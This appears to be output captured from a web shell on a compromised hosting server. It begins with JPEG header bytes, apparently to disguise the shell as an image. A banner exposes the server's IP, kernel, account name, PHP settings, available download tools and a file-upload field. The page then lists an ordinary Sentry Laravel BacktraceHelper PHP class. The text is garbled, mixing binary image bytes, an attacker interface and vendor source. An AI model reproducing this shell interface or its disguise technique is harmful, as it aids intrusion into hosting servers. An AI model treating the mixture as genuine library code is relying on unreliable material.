����JFIF��x�x����'
Server IP : 78.140.185.180 / Your IP : 216.73.216.168 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/builderbox/www/vendor/sentry/sentry-laravel/src/Sentry/Laravel/Tracing/ |
Upload File : |
<?php namespace Sentry\Laravel\Tracing; use Sentry\Frame; use Sentry\Options; use Sentry\FrameBuilder; use Illuminate\Support\Str; use Sentry\Serializer\RepresentationSerializerInterface; class BacktraceHelper { /** * @var Options The SDK client options */ private $options; /** * @var FrameBuilder An instance of the builder of {@see Frame} objects */ private $frameBuilder; /** * Constructor. * * @param Options $options The SDK client options * @param RepresentationSerializerInterface $representationSerializer The representation serializer */ public function __construct(Options $options, RepresentationSerializerInterface $representationSerializer) { $this->options = $options; $this->frameBuilder = new FrameBuilder($options, $representationSerializer); } /** * Find the first in app frame for a given backtrace. * * @param array<int, array<string, mixed>> $backtrace The backtrace * * @phpstan-param list<array{ * line?: integer, * file?: string, * }> $backtrace */ public function findFirstInAppFrameForBacktrace(array $backtrace): ?Frame { $file = Frame::INTERNAL_FRAME_FILENAME; $line = 0; foreach ($backtrace as $backtraceFrame) { $frame = $this->frameBuilder->buildFromBacktraceFrame($file, $line, $backtraceFrame); if ($frame->isInApp()) { return $frame; } $file = $backtraceFrame['file'] ?? Frame::INTERNAL_FRAME_FILENAME; $line = $backtraceFrame['line'] ?? 0; } return null; } /** * Takes a frame and if it's a compiled view path returns the original view path. * * @param \Sentry\Frame $frame * * @return string|null */ public function getOriginalViewPathForFrameOfCompiledViewPath(Frame $frame): ?string { // Check if we are dealing with a frame for a cached view path if (!Str::startsWith($frame->getFile(), '/storage/framework/views/')) { return null; } // If for some reason the file does not exists, skip resolving if (!file_exists($frame->getAbsoluteFilePath())) { return null; } $viewFileContents = file_get_contents($frame->getAbsoluteFilePath()); preg_match('/PATH (?<originalPath>.*?) ENDPATH/', $viewFileContents, $matches); // No path comment found in the file, must be a very old Laravel version if (empty($matches['originalPath'])) { return null; } return $this->stripPrefixFromFilePath($matches['originalPath']); } /** * Removes from the given file path the specified prefixes. * * @param string $filePath The path to the file */ private function stripPrefixFromFilePath(string $filePath): string { foreach ($this->options->getPrefixes() as $prefix) { if (Str::startsWith($filePath, $prefix)) { return mb_substr($filePath, mb_strlen($prefix)); } } return $filePath; } }